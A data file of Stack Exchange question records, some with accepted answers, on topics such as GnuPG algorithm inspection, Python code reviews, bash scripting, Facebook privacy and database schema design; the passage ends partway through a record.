{  "id": "_cs.44625"  , "question": "Given a set of (propositional) formulae $\\Phi$, two formulae $\\phi$ and $\\xi$, determine whether there exists $\\Psi\\subseteq \\Phi$ such that $\\Psi\\models \\phi$ and $\\Psi\\not\\models \\xi$. Question: what is the (theoretical) complexity of this problem? Is it in DP?"  , "title": "Complexity of a SAT related problem"  , "tags": "complexity theory;satisfiability;propositional logic"  } 
{  "id": "_unix.173894"  , "question": "I use Thunderbid, Enigmail, GnuPG and pinentry.When I receive encrypted message, how I can determine which algorithm is used:for encryptionfor checksuming (SHA1 or not)for compression"  , "title": "How to learn encryption type from a mail message?"  , "tags": "gpg;thunderbird;pgp"  , "accepted_answer": "I don't know of a method inside thunderbird, but storing the message as a file and dropping to the shell will reveal the information you're looking for.Getting verbosegpg -vv will output very verbose information on the input, including the information you're looking for.An ExampleAn example of the output can be generated by encrypting and signing a message to your own key:echo 'foo' | gpg --recipient a4ff2279 --encrypt --sign | gpg -vvThe slightly stripped output (removing bulky parts not relevant to the question at all) looks like::pubkey enc packet: version 3, algo 1, keyid CC73B287A4388025    data: [4095 bits][snip, gpg asking for passphrase]gpg: public key encrypted data: good DEK:encrypted data packet:    length: unknown    mdc_method: 2gpg: encrypted with 4096-bit RSA key, ID A4388025, created 2014-03-26      Jens Erat (born 1988-01-19 in Stuttgart, Germany)gpg: AES256 encrypted data:compressed packet: algo=2:onepass_sig packet: keyid 8E78E44DFB1B55E9    version 3, sigclass 0x00, digest 8, pubkey 1, last=1:literal data packet:    mode b (62), created 1418376556, name=,    raw data: 4 bytesgpg: original file name=''foo:signature packet: algo 1, keyid 8E78E44DFB1B55E9    version 4, created 1418376556, md5len 0, sigclass 0x00    digest algo 8, begin of digest 81 67    hashed subpkt 2 len 4 (sig created 2014-12-12)    subpkt 16 len 8 (issuer key ID 8E78E44DFB1B55E9)    data: [4095 bits]gpg: Signature made Fri Dec 12 10:29:16 2014 CET using RSA key ID FB1B55E9gpg: using subkey FB1B55E9 instead of primary key A4FF2279[snip, trust validation]gpg: binary signature, digest algorithm SHA256gpg: decryption okayInterpreting the OutputIf GnuPG only prints algorithm IDs (like for the compression), these can be looked up in RFC 4880, Section Constants. Specifically for this example, we will find use of following algorithms:AES256 for symmetric encryptionMDC 2 means SHA1 for the Modification Detection Code, which is the only defined at this timeCompression algorithm 2, resolving to ZLIBSHA256 for the signature"  } 
{  "id": "_codereview.14257"  , "question": "I have a program that displays colorful shapes to the user. It is designed so that it is easy to add new shapes, and add new kinds of views.Currently, I have only two shapes, and a single text-based view. In the near future, I'm going to implement a Triangle shape and a BezierCurve shape. I'm also going to implement these views:GraphicalView - uses a graphics library to render shapes on screen.OscilloscopeView - draws the shapes on an oscilloscope.DioramaView - a sophisticated AI directs robotic arms to construct the scene using construction paper, string, and a shoebox.The MVC pattern is essential here, because otherwise I'd have a big intermixed tangle of oscilloscope and AI and Graphics library code. I want to keep these things as separate as possible.#model codeclass Shape:    def __init__(self, color, x, y):        self.color = color        self.x = x        self.y = yclass Circle(Shape):    def __init__(self, color, x, y, radius):        Shape.__init__(self, color, x, y)        self.radius = radiusclass Rectangle(Shape):    def __init__(self, color, x, y, width, height):        Shape.__init__(self, color, x, y)        self.width = width        self.height = heightclass Model:    def __init__(self):        self.shapes = []    def addShape(self, shape):        self.shapes.append(shape)#end of model code#view codeclass TickerTapeView:    def __init__(self, model):        self.model = model    def render(self):        for shape in self.model.shapes:            if isinstance(shape, Circle):                self.showCircle(shape)            if isinstance(shape, Rectangle):                self.showRectangle(shape)    def showCircle(self, circle):        print There is a {0} circle with radius {1} at ({2}, {3}).format(circle.color, circle.radius, circle.x, circle.y)    def showRectangle(self, rectangle):        print There is a {0} rectangle with width {1} and height {2} at ({3}, {4}).format(rectangle.color, rectangle.width, rectangle.height, rectangle.x, rectangle.y)#end of view code#set upmodel = Model()view = TickerTapeView(model)model.addShape(Circle   (red,    4,   8,   15))model.addShape(Circle   (orange, 16,  23,  42))model.addShape(Circle   (yellow, 1,   1,   2))model.addShape(Rectangle(blue,   3,   5,   8,   13))model.addShape(Rectangle(indigo, 21,  34,  55,  89))model.addShape(Rectangle(violet, 144, 233, 377, 610))view.render()I'm very concerned about the render method of TickerTapeView. In my experience, whenever you see code with a bunch of isinstance calls in a big if-elseif block, it signals that the author should have used polymorphism. But in this case, defining a Shape.renderToTickerTape method is forbidden, since I have resolved to keep the implementation details of the view separate from the model.render is also smelly because it will grow without limit as I add new shapes. If I have 1000 shapes, it will be 2000 lines long.Is it appropriate to use isinstance in this way? Is there a better solution that doesn't violate model-view separation and doesn't require 2000-line if blocks?"  , "title": "Displaying colorful shapes to the user"  , "tags": "python;mvc"  } 
{  "id": "_unix.192753"  , "question": "I have some Python files that I wrote on my Windows PC and then sent over to a Linux machine using pscp. They work as intended on Windows, but when I try to execute them on the Linux machine, I always get an error message. I use the following process to run the code after importing the file test.py:First, I add the shebang line at the top of test.py:#!/usr/bin/python# rest of codeThen I modify permissions and try to run the script:chmod +x test.py./test.pywhich gives me the error message./test.py: Command not found.If I create a file from scratch on the Linux machine and type in the exact same program text, the program will run just fine. Also, if I type the following code, the program runs just fine:python test.pyCan anyone explain what is happening here? Thanks."  , "title": "Why won't my python scripts run without the python command when moved from Windows to Linux?"  , "tags": "command line;python;executable;shebang"  } 
{  "id": "_cogsci.17177"  , "question": "Are there any frameworks to evaluate the quality of a theoretic concept in cognitive science (ideally with references)?For social sciences I found the following:Gerring, J. (1999). What makes a concept good? A criterial framework for understanding concept formation in the social sciences. Polity, 31(3), 357-393."  , "title": "What Makes a Concept Good in Cognitive Science?"  , "tags": "cognitive psychology"  } 
{  "id": "_codereview.94290"  , "question": "I have just installed Ubuntu and am re-familiarizing myself with Python. I learned the basics in late 2012-early 2013 and I'm practicing with it in order to get better at programming concepts and practice.'''Snake Gameimplements gameplay of classic snakegame with TkinterAuthor: Tracy Lynn Wesley'''import threadingimport randomimport os.pathfrom Tkinter import *WIDTH = 500HEIGHT = 500class Snake(Frame):    def __init__(self):        Frame.__init__(self)        #Set up the main window frame as a grid        self.master.title(Snake *** Try to beat the high score! ***)        self.grid()        #Set up main frame for game as a grid        frame1 = Frame(self)        frame1.grid()        #Add a canvas to frame1 as self.canvas member         self.canvas = Canvas(frame1, width = WIDTH, height = HEIGHT, bg =white)        self.canvas.grid(columnspan = 3)        self.canvas.focus_set()        self.canvas.bind(<Button-1>, self.create)        self.canvas.bind(<Key>, self.create)        #Create a New Game button        newGame = Button(frame1, text = New Game, command = self.new_game)        newGame.grid(row = 1, column = 0, sticky = E)        #Create a label to show user his/her score        self.score_label = Label(frame1)        self.score_label.grid(row = 1, column = 1)        self.high_score_label = Label(frame1)        self.high_score_label.grid(row = 1, column = 2)        #Direction label (for debugging purpose)        #self.direction_label = Label(frame1, text = Direction)        #self.direction_label.grid(row = 1, column = 2)        self.new_game()    def new_game(self):        self.canvas.delete(ALL)        self.canvas.create_text(WIDTH/2,HEIGHT/2-50,text=Welcome to Snake!\\                                + \\nPress arrow keys or click in the window\\                                +  to start moving!, tag=welcome_text)        rectWidth = WIDTH/25        #Initialize snake to 3 rectangles        rect1 = self.canvas.create_rectangle(WIDTH/2-rectWidth/2, HEIGHT/2-rectWidth/2, WIDTH/2+rectWidth/2\\                                             , HEIGHT/2+rectWidth/2, outline=#dbf, fill=#dbf\\                                             , tag=rect1)        rect2 = self.canvas.create_rectangle(WIDTH/2-rectWidth/2, HEIGHT/2-rectWidth/2, WIDTH/2+rectWidth/2\\                                             , HEIGHT/2+rectWidth/2, outline=#dbf, fill=#dbf\\                                             , tag=rect2)        rect3 = self.canvas.create_rectangle(WIDTH/2-rectWidth/2, HEIGHT/2-rectWidth/2, WIDTH/2+rectWidth/2\\                                             , HEIGHT/2+rectWidth/2, outline=#dbf, fill=#dbf\\                                             , tag=rect3)        #initialize variables that contribute to smooth gameplay below:        #        #set rectangle width and height variables for use with new rectangles on the canvas        self.rectWidth = rectWidth        #lastDirection recorded because first 2 rectangles always overlap while moving,        #but if user goes right then immediately left the snake should run into itself and        #therefore end the game (See below functions self.check_collide and self.end_game)        self.lastDirection = None        self.direction = None        #Used to force snake to expand out on first move        self.started = False        #Used to force game loop to halt when a collision occurs/snake out of bounds        self.game_over = False        #Initialize game score to 0        self.score = 0        #Initialize high score from file        if (os.path.isfile(high_score.txt)):            scoreFile = open(high_score.txt)            self.high_score = int(scoreFile.read())            scoreFile.close()        else:            self.high_score = 0        self.high_score_label[text] = High Score:  + str(self.high_score)        self.rectangles = [rect1,rect2,rect3]        #Initialize the dot (which the snake eats)        self.dot = None        #Start thread for snake to move when direction is set        self.move()    def create(self, event):        self.lastDirection = self.direction        if self.game_over == False:            if event.keycode == 111:                self.direction = up            elif event.keycode == 114:                self.direction = right            elif event.keycode == 116:                self.direction = down            elif event.keycode == 113:                self.direction = left            elif event.x < WIDTH/2 and HEIGHT/3 < event.y < HEIGHT-HEIGHT/3:                self.direction = left                #(Debug)                #self.direction_label[text] = LEFT            elif event.x > WIDTH/2 and HEIGHT/3 < event.y < HEIGHT-HEIGHT/3:                self.direction= right                #(Debug)                #self.direction_label[text] = RIGHT            elif WIDTH/3 < event.x < WIDTH-WIDTH/3 and event.y < HEIGHT/2:                self.direction = up                #(Debug)                #self.direction_label[text] = UP            elif WIDTH/3 < event.x < WIDTH-WIDTH/3 and event.y > HEIGHT/2:                self.direction= down                #(Debug)                #self.direction_label[text] = DOWN    def first_movement(self):        w = self.rectWidth        self.canvas.delete(welcome_text)        #Expand snake in direction chosen        if self.direction == left:                self.canvas.move(rect1,-w,0)                self.canvas.after(100)                self.canvas.move(rect1,-w,0)                self.canvas.move(rect2,-w,0)        elif self.direction == down:                self.canvas.move(rect1,0,w)                self.canvas.after(100)                self.canvas.move(rect1,0,w)                self.canvas.move(rect2,0,w)        elif self.direction == right:                self.canvas.move(rect1,w,0)                self.canvas.after(100)                self.canvas.move(rect1,w,0)                self.canvas.move(rect2,w,0)        elif self.direction == up:            self.canvas.move(rect1,0,-w)            self.canvas.after(100)            self.canvas.move(rect1,0,-w)            self.canvas.move(rect2,0,-w)        self.canvas.after(100)    def _move(self):        w = self.rectWidth        while True:            self.score_label[text] = Score:  + str(self.score)            if self.started == False and self.direction != None:                self.first_movement()                self.started = True            elif self.started == True and self.game_over == False:                if self.dot == None:                    self.make_new_dot()                lock = threading.Lock()                lock.acquire()                endRect = self.rectangles.pop()                frontCoords = self.canvas.coords(self.rectangles[0])                endCoords = self.canvas.coords(endRect)                #(Below for Debugging)                #print self.direction                #print Front:  + str(frontCoords) +  Back:  + str(endCoords)                if self.direction == left:                    self.canvas.move(self.canvas.gettags(endRect), int(frontCoords[0]-endCoords[0])-w,\\                                     int(frontCoords[1]-endCoords[1]))                elif self.direction == down:                    self.canvas.move(self.canvas.gettags(endRect), int(frontCoords[0]-endCoords[0]),\\                                     int(frontCoords[1]-endCoords[1])+w)                elif self.direction == right:                    self.canvas.move(self.canvas.gettags(endRect), int(frontCoords[0]-endCoords[0])+w,\\                                     int(frontCoords[1]-endCoords[1]))                elif self.direction == up:                    self.canvas.move(self.canvas.gettags(endRect), int(frontCoords[0]-endCoords[0]),\\                                     int(frontCoords[1]-endCoords[1])-w)                self.canvas.after(100)                self.rectangles.insert(0, endRect)                lock.release()                self.check_bounds()                self.check_collide()            elif self.game_over == True:                break;    def move(self):        threading.Thread(target=self._move).start()    def make_new_dot(self):        if self.dot != None:            self.canvas.delete(self.dot)            self.dot = None        dotX = random.random()*(WIDTH-self.rectWidth*2) + self.rectWidth        dotY = random.random()*(HEIGHT-self.rectWidth*2) + self.rectWidth        self.dot = self.canvas.create_rectangle(dotX,dotY,dotX+self.rectWidth,dotY+self.rectWidth\\                                                ,outline=#ddd, fill=#ddd, tag=dot)    def grow(self):        w = self.rectWidth        lock = threading.Lock()        lock.acquire()        #Increase the score any time the snake grows        self.score += 100        endCoords = self.canvas.coords(self.rectangles[len(self.rectangles)-1])        #(Debug)        #print endCoords:  + str(endCoords)        thisTag = rect + str(len(self.rectangles) + 1)        x1 = int(endCoords[0])        y1 = int(endCoords[1])        x2 = int(endCoords[2])        y2 = int(endCoords[3])        if self.direction == left:            x1 += w            x2 += w        elif self.direction == right:            x1 -= w            x2 -= w        elif self.direction == down:            y1 -= w            y2 -= w        elif self.direction == up:            y1 += w            y2 += w        #(Debug)        #print self.direction        #print new coords:  + str(x1) + ,  + str(y1) + ,  + str(x2) + ,  + str(y2)        thisRect = self.canvas.create_rectangle(x1, y1, x2, y2, outline=#dbf,\\                                     fill=#dbf, tag=thisTag)        #print str(self.rectangles)        self.rectangles.append(thisRect)        #print str(self.rectangles)        lock.release()    def check_bounds(self):        coordinates = self.canvas.coords(self.rectangles[0])        if len(coordinates) > 0:            if coordinates[0] < 0 or coordinates[1] < 0 or coordinates[2] > WIDTH\\               or coordinates[3] > HEIGHT:                self.end_game()    def check_collide(self):        frontCoords = self.canvas.coords(self.rectangles[0])        #(For Debugging)        #for rect in self.rectangles:            #coords = self.canvas.coords(rect)            #print Front:  + str(frontCoords) + coords:  + str(coords)        #Check to see if the snake's head(front) is overlapping anything and handle it below        overlapping = self.canvas.find_overlapping(frontCoords[0],frontCoords[1]\\                                                         ,frontCoords[2],frontCoords[3])        for item in overlapping:            if item == self.dot:                #Snake collided with dot, grow snake and move dot                self.grow()                self.make_new_dot()            if item in self.rectangles[3:]:                #Snake has collided with its body, end game                self.end_game()        #Snake tried to move backwards (therefore crashing into itself)        if (self.lastDirection == left and self.direction == right) or\\           (self.lastDirection == right and self.direction == left) or\\           (self.lastDirection == up and self.direction == down) or\\           (self.lastDirection == down and self.direction == up):            self.end_game()    def end_game(self):        self.game_over = True        self.canvas.create_text(WIDTH/2,HEIGHT/2,text=GAME OVER!)        if self.score > self.high_score:            scoreFile = open(high_score.txt, w)            scoreFile.write(str(self.score))            scoreFile.close()            self.canvas.create_text(WIDTH/2,HEIGHT/2+20,text=\\                                    You beat the high score!)        #(Debug)        #self.direction_label[text] = ENDEDSnake().mainloop()"  , "title": "Classic Snake game using Python, Tkinter, and threading"  , "tags": "python;beginner;game;multithreading;tkinter"  , "accepted_answer": "If you haven't read it already I'd highly recommend that you check out PEP8 as it is a great starting point for a lot of questions about Python code conventions. Some of what I write here will be repeated there.Tightly coupled functionsOne issue with your design is that your functions are designed such that you must call them in a particular sequence in order to get the results you want.init calls new_game calls move which creates the game loop thread in _move. While this might be somewhat appropriate in this case it is usually indicative of bad design. Generally speaking the more you can make your functions not depend on side-effects the better as it allows you more effective code reuse opportunities. Additionally if a precondition for a function is that another function must be called you really need to document that clearly, as this could be a large source of confusion (and hence bugs) for other people (including the future you) who read/maintain the codebase in the future.Commented out codeUse your version control software to manage your changes in code instead of commenting out code. If you are not using version control then you should strongly consider learning how as this is one of the most valuable productivity boosters you can get with development.If you want logging perhaps look into the standard library logging module.DocumentationYou have used comments fairly extensively in the code here which definitely helps when reading it. Also I noticed you put a docstring for the module which is good to see! Putting some docstrings in the rest of your code will help other people read it as it gives you a standardized place to look for documentation on different functions/classes/methods.For example:def new_game(self):    Creates a new game. Sets up canvas and 1initial game conditions.Prefer named constants over multiple variablesmagic variables are often less clear than explicit named variables.if event.keycode == 111:    self.direction = upWhen I'm reading this code I have to guess from the context that the 111 is the keycode for the up key. I have to read ahead and look at the context to figure this out.The code is much more clear if you give a named variable:UP_KEY_CODE = 111if event.keycode == UP_KEY_CODE:I notice a similar situation with the directions, create a variable for the various different directions instead of hardcoding strings everywhere. For example in a lot of places in the code you have lines such as:if self.direction == left:Personally I'd prefer to define something such as LEFT_DIRECTION = left then compare like so:if self.direction == LEFT_DIRECTION:This makes means if you change the type of value stored in self.direction in the future it's very easy to make changes. Currently you would have to track down all the different strings and change them. Having used other languages I think this is a very good example of where an enumeration type is useful but others might consider that somewhat un-pythonic, so do whatever you think is most readable.Going further I'd consider making some sort dictionary to store the keycode along with the associated action that needs to be done if you start getting more keyboard keys being used in your program. I'll explain this in more depth if you make a follow up question.Checking for non-empty sequencesThe pythonic way to do this is explained in PEP8.instead of:if len(coordinates) > 0:if self.dot != None:elif self.game_over == True:do:if coordinates:if self.dot:elif self.game_over:This makes your code shorter and improves readability.duplicated codeAny time you see code that does essentially the same thing you should consider re-writing it. Python is highly amenable to the don't-repeat-yourself idea so keep that in mind.    if self.direction == left:            self.canvas.move(rect1,-w,0)            self.canvas.after(100)            self.canvas.move(rect1,-w,0)            self.canvas.move(rect2,-w,0)    elif self.direction == down:            self.canvas.move(rect1,0,w)            self.canvas.after(100)            self.canvas.move(rect1,0,w)            self.canvas.move(rect2,0,w)    elif self.direction == right:            self.canvas.move(rect1,w,0)            self.canvas.after(100)            self.canvas.move(rect1,w,0)            self.canvas.move(rect2,w,0)    elif self.direction == up:        self.canvas.move(rect1,0,-w)        self.canvas.after(100)        self.canvas.move(rect1,0,-w)        self.canvas.move(rect2,0,-w)First of all I'd clean up the indentation here to be consistent, but once we have done that we see that all of this is essentially doing the same thing. I would therefore break this into a function:def expand_snake(self, x_direction, y_direction):    Expand the snake in the given directions as per the parameters.    self.canvas.move(rect1, x_direction, y_direction)    self.canvas.after(100)    self.canvas.move(rect1, x_direction, y_direction)    self.canvas.move(rect2, x_direction, y_direction)Then the code just becomes:if self.direction == left:    self.expand_snake(-w, 0):elif self.direction == down:    self.expand_snake(0, w):elif self.direction == right:    self.expand_snake(w, 0):elif self.direction == up:    self.expand_snake(0 -w):Less duplication and less chances for something to go wrong. Additionally as mentioned before you probably want to make named constants for the directions or use an enumeration instead of strings such as up down etc for keeping track of the directions."  } 
{  "id": "_unix.132406"  , "question": "I've got a question about gpg and signing a key automatically via bash:I've got a script, that is doing the beginning of signing:gpg --recv $schluessel1gpg --edit $schluessel1If I try something like this:lsignit is ignored and just show me the below output. gpg>From the above prompt, I can write manually lsign and later y in.Is it possible to do these two steps automatically?"  , "title": "sign and trust gpg key automatically via bash"  , "tags": "bash;gpg"  } 
{  "id": "_webapps.109046"  , "question": "With Facebook, if you go to for example a company's page and post something on their wall, or even another friend's page, how do you stop it from notifying all your friends of what you posted?I don't care if they visit the actual company's/other friend's page and see it, but I don't want all my friends being notified of what I posted.Is there a way to do this? I can't see anything in Facebook's privacy settings."  , "title": "How do you stop your friends from being notified of what you post on others' walls?"  , "tags": "facebook;facebook pages;facebook privacy"  , "accepted_answer": "If you are frequent poster (means if you keep updating status, sharing etc), they will not get any notification but if you are posting something after a long time (3 weeks or more), they will get notifcation. There is no control.If you are writting something on your friend's wall, only they can control who can see that. You can't do anything in that, it will be visible to all your friends.If you are writting something on any Page, it will be public.There is no privacy setting to control this."  } 
{  "id": "_codereview.144912"  , "question": "I am working on an application which responds to different screen resolutions. At a certain minimum DPI, we want to apply a set of styles. We also want to apply that same set of styles if the class hidpi is present on the root html element. Our project uses LESS.This is the code I inherited. I've replaced the styles with some placeholders for the sake of this question (so don't mind the colors):@media all and (min-resolution: 96dpi) {  .foo {    color: maize;  }  .bar {    color: blue;  }}html.hidpi {  .foo {    color: maize;  }  .bar {    color: blue;  }}Attempt at reducing duplicationAs you can see, the code between the media query and html.hidpi is exactly the same, so I figured I should be able to reduce duplication. I came up with a solution using a mixin:.mixinHidpi() {  .foo {    color: maize;  }  .bar {    color: blue;  }}@media all and (min-resolution: 96dpi) {  .mixinHidpi();}html.hidpi {  .mixinHidpi();}Can any more be done to reduce duplication? Are there any problems with the way I'm doing things now? In particular, I've only ever seen very simple examples of using mixins, so I'm not sure if I'm using them in the way they are supposed to be used."  , "title": "Applying a set of styles both with a media query and with nested rules"  , "tags": "less css"  } 
{  "id": "_webapps.69344"  , "question": "I've got a large Tumblr archive and would like to tweet one post every few days to Twitter. Is there any way of doing this automatically?"  , "title": "Is it possible to automatically schedule old Tumblr posts to appear on Twitter?"  , "tags": "twitter;tumblr;automation"  } 
{  "id": "_cs.32191"  , "question": "I know that it is decidable problem to check whether given context free grammar represents empty language -- for instance, AFAIR one could convert it to Chomsky normal form, and then check if any word of length $\\leq 2^n$ (or maybe $\\leq 2^{n+1}$, I'm not sure) belongs to the language, where $n$ is IIRC the number of nonterminals in CNF. If not, then no longer words belong either and the grammar is empty.The above algorithm has the unpleasant property of having exponential complexity. The questions that interest me are:Is there a polynomial algorithm to check whether given CFG represents empty language?What's the (asymptotically) best known algorithm for that?What's the simplest polynomial algorithm for that (not necessarily having best known complexity)?"  , "title": "complexity of determining whether a language given by context free grammar is empty"  , "tags": "complexity theory;formal languages;context free"  } 
{  "id": "_webmaster.44219"  , "question": "I have just been marking them as fixed, but they just keep coming back and I don't want to have to keep coming back to mark as fixed. Google is showing about 150 of my pages as 404's but they all register as 200 all good when I do a header check.Is there another reason these may show up as 404's?"  , "title": "Google Webmasters showing 404's but header check showing 200 All Good"  , "tags": "google search console;404"  } 
{  "id": "_unix.255702"  , "question": "I tried this command:[silas@mars 11]$ string=xyababcdabababefab[silas@mars 11]$ echo ${string/abab/\\n}xy\\ncdabababefab[silas@mars 11]$I also tried to replace \\n to '\\n' and to \\n . I can't use AWK or sed (this is a part from a homework exercise, and the teacher don't allow to use in this specific exercise)."  , "title": "Replace a string in a string with a new line (\\n) in Bash"  , "tags": "bash;string"  , "accepted_answer": "You should use -e with echo as follows:echo -e ${string/abab/'\\n'}From manpage:-e     enable interpretation of backslash escapesIf -e is in effect, the following sequences are recognized:\\\\     backslash\\a     alert (BEL)\\b     backspace\\c     produce no further output\\e     escape\\f     form feed\\n     new line\\r     carriage return\\t     horizontal tab\\v     vertical tab"  } 
{  "id": "_softwareengineering.300155"  , "question": "I am building a security mechanism and I need a Pseudorandom functionality in my app. More particularly I need to convert a String to fix length.My strings are random already, they just to long so I want to convert them to fix size. A trivial solution(the one that I am using now) will be just cut the extra characters, the problem with this approach that it reduce from the strength of my original random that I used to generate the string at the first place.So I need some sort of method that will except an array of bytes and will give me new array of bytes, but it will be always the same output for given input.And I dont want to use solutions like XOR or some other math, I want it to be psado random, and I will store the psado random key or data in local storage.Any suggestions?"  , "title": "Pseudorandom in Android"  , "tags": "algorithms;android;random"  } 
{  "id": "_webapps.21697"  , "question": "I just clicked on a link that was an article posted on slashdot in 2003. It discusses Python vs Perl and it was quite interesting to read the comments from that time. How can I find the oldest articles posted on Slashdot?"  , "title": "How to find the oldest article on Slashdot?"  , "tags": "search;slashdot"  , "accepted_answer": "It seems that Slashdot articles have the article ID in the URL, which is incremented with each article, so just taking any article, and putting 1 where is the article id in the URL will reveal the oldest one.This one might be it: http://slashdot.org/story/1/There is some discussion about the very topic there, and there seems to be some error.Then it seems there is a tag for the first post on Slashdot:http://slashdot.org/tag/firstpostWhich links to an article from December 31 1997:http://slashdot.org/story/98/01/01/012000/become-007-on-the-internet"  } 
{  "id": "_softwareengineering.238478"  , "question": "At the office we just got a new colleague who is visually impaired. I'm in charge of organizing the planning poker sessions and the new colleague must participate as a member of the team. We have these nice sets of poker cards with planning poker numbers on them, but that doesn't help of course for our new colleague.Until now we fixed this problem by just naming the estimates, letting the new colleague say their estimate right after the rest had put down their card, then the rest flips their card and I name the estimates in a row.My question(s): Is there any one who has experience with this kind of situation and have a better solution? Is there such a thing as Braille poker cards?The current solution does work, but I think this can be improved for us all by for example Braille poker cards."  , "title": "Planning poker with visually impaired colleague"  , "tags": "agile;scrum;planning;project planning"  , "accepted_answer": "You can solve this problem with a free and simple solution.In our team, if we ever forget our planning poker cards we instead use our hands i.e. We clench our fists and show our estimates all at the same time. We find that this approach works very well as usually our estimates are on average at most eight points and any 13 point estimates are followed by a longer than usual discussion anyway.I think this method would work great for you and your visually impaired colleague, as he/she would be able to give their estimate at exactly the same time as their team mates. When you all show your hands you then can go around the table and each member can speak out loud the estimate they gave. Yes, it won't be ideal if your team regularly estimates above 13 points, but I think it'll work great if your team usually estimates below this level."  } 
{  "id": "_unix.375116"  , "question": "I restored an Arch Linux system from a BTRFS snapshot. All is well except that journald has to be restarted after every boot:systemctl restart systemd-journaldIf I don't do this, journalctl shows old output that ends with the last shutdown before the reboot.Also, when checking the status of systemd units, I see messages similar to this: Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.I'm not even sure how to troubleshoot this. Suggestions?"  , "title": "systemd-journald not starting after boot up"  , "tags": "arch linux;systemd;systemd journald"  } 
{  "id": "_unix.80225"  , "question": "Is there a way to customize the debian installer to be part of a custom debian distro, also is it possible to make the distro contain certain files such as pdfs, videos, etc. as part of the installation."  , "title": "Custom installation for a custom Debian Distro?"  , "tags": "debian;system installation"  } 
{  "id": "_unix.111584"  , "question": "My plan is to use vpxenc (video encoder) and flac (audio encoder) to record the screen/microphone, but I'm stopped short of entering the input (file) in the command line.How can I exactly address a screen from a terminal?"  , "title": "How exactly is a Linux desktop/device/display expressed in a terminal?"  , "tags": "terminal;video;display;recording"  } 
{  "id": "_unix.328677"  , "question": "I wanted to know if it is possible to change kernels, for example, replacing Fedora's Linux kernel to that of FreeBSD's.Now, there already existed the Debian GNU/kFreeBSD. Is it possible for me to customize a Linux distro to contain a BSD kernel?"  , "title": "Is it possible to change the kernel in a UNIX/Linux system?"  , "tags": "linux;fedora;kernel;linux kernel;gnu"  } 
{  "id": "_unix.145464"  , "question": "I've written a simple init script to start and stop a Python script as a service. I have to be explicit about the version of Python I'm running, because this is on a CentOS 5 box with Python 2.4 & 2.6 installed (both via yum).Here's what I have so far:#!/bin/sh# chkconfig: 123456 90 10workdir=/usr/local/bin/Foostart() {    cd $workdir    /usr/bin/python26 $workdir/Bar.py &    echo FooBar started.}stop() {    pid=`ps -ef | grep '[p]ython26 /usr/local/bin/Foo/Bar.py' | awk '{ print $2 }'`    echo $pid    kill $pid    sleep 2    echo FooBar stopped.}case $1 in  start)    start    ;;  stop)    stop    ;;  restart)    stop    start    ;;  *)    echo Usage: /etc/init.d/foobar {start|stop|restart}    exit 1esacexit 0Two things I need help with:1) I want to be smarter about the filename and directory name management, and set some variables up to so that anything repeated later in the script (like workdir). My main problem is the grep statement, and I haven't figured out how to deal with the variables inside the grep. I'd love any suggestions of a more efficient way to do this.2) I want to add status support to this init script and have it check to see if the Bar.py is running."  , "title": "Grepping a variable"  , "tags": "shell;python;ps;init script"  , "accepted_answer": "I may be missing something but I don't understand why you are fiddling with grep in the first place. That's what pgrep is for:#!/bin/sh# chkconfig: 123456 90 10workdir=/usr/local/bin/Foostart() {    cd $workdir    /usr/bin/python26 $workdir/Bar.py &    echo FooBar started.}stop() {    pid=`pgrep -f '/Bar.py$'`    echo $pid    kill $pid    sleep 2    echo FooBar stopped.}case $1 in  start)    start    ;;  stop)    stop    ;;  restart)    stop    start    ;;  *)    echo Usage: /etc/init.d/foobar {start|stop|restart}    exit 1esacexit 0The pgrep command is designed to return the PIDs of processes whose name matches the pattern given. Since this is a python script, the actual process is something like:python /usr/local/bin/Bar.pyWhere the process name is python. So, we need to use pgrep's -f flag to match the entire name:   -f, --full          The pattern is normally only matched against the  process  name.          When -f is set, the full command line is used.To ensure that this does not match things like fooBar.py, the pattern is /Bar.py$ so that it matches only the portion after the last / and at the end of the string ($).For future reference, you should never use ps | grep to get a PID. That will always return at least two lines, one for the running process and one for the grep you just launched:$ ps -ef | grep 'Bar.py'terdon   27209  2006 19 17:05 pts/9    00:00:00 python /usr/local/bin/Bar.pyterdon   27254  1377  0 17:05 pts/6    00:00:00 grep --color Bar.py"  } 
{  "id": "_datascience.14434"  , "question": "I am not sure how to formulate this problem clearly into a machine learning task yet. So hope you guys can chime in and give me some help.Problem : To predict whether someone will pick up their phone during office hours in week n+2 by looking at customer's behaviour in week  n. Data    : I have calling records for about 3 months, which is aggregated on customer level. The various attributes include, num of calls, duration of calls, time of calls, amount of data traffic. But of course, these main attributes are further split into at about 20 attributes.Current Approach (Very Manual) : I look at data at week n+2 and get the group of guys who picked up the phone during office hours (duration of calls > 5s and time of call). This is the target group, T.I look at data at week n and manually try all possible combinations of the attributes to get as close to T as possible. But trying manually seems tiring after some time. The baseline is of course using the same conditions as at week n+2. But the whole idea will be to increase this number.Question : Is there any way I can transform this dataset so that I would be able to do accomplish it as a machine learning task ?"  , "title": "Period Predictive Model"  , "tags": "predictive modeling"  } 
{  "id": "_softwareengineering.277587"  , "question": "I have clients, each of whom have an app with a bunch of users.Their user data could be pretty different, but there is also a lot of overlap. Ex: all their users have gender and age and plenty of other things, so it makes sense to have a standard user_table schema across all clients (with a column for each attribute).But there is also user information specific to each client. Ex. one might have relationship_status for their users, which other clients do not have. While another has height for their users, which other clients do not have.How to I design a schema that is appropriate for both of these cases at once?One possibility is to somehow have a different schema for each client, but this seems like it could be unnecessary hassle. Another possibility is to put every column in the standard schema across all clients, but then the columns that are unique to a single client would just sit empty for all the other clients."  , "title": "SQL - for some attributes specific to different clients' users, how to handle schema?"  , "tags": "sql;coding standards;schema;postgres"  } 
{  "id": "_datascience.10481"  , "question": "This question is more about inference and decision making based on statistical data, so I hope I'm in the right place. If not, let me know if I should migrate this question elsewhere.I have a data set specifying the predicted shoe size of different people for various shoe models, and also the manually measured correct shoe size. For instance person #1 was predicted to have a shoe size of 8 for shoe model A, and the actual size she wears is 8.5. Each record includes the person, shoe model, predicted size and actual size. I already calculated the delta between these two values for each record, then summarized the average offset and standard deviation for all shoe models. Here's an example of the offset data (n is the sample size from the average offset and standard deviation was calculated for each model):+-------+----------------+-----+----+| model | Average Offset | SD  | n  |+-------+----------------+-----+----+|     1 | 0.4            | 1.0 | 16 ||     2 | -0.8           | 0.8 |  5 ||     3 | 0.8            | 0.7 | 10 ||     4 | 0.5            | 0.9 | 12 ||     5 | 0.7            | 0.8 |  6 ||     6 | 0.1            | 0.9 | 28 ||     7 | 0.5            | 0.8 | 16 ||     8 | 0.1            | 0.7 | 18 ||     9 | 0.3            | 0.5 |  6 ||    10 | 2.7            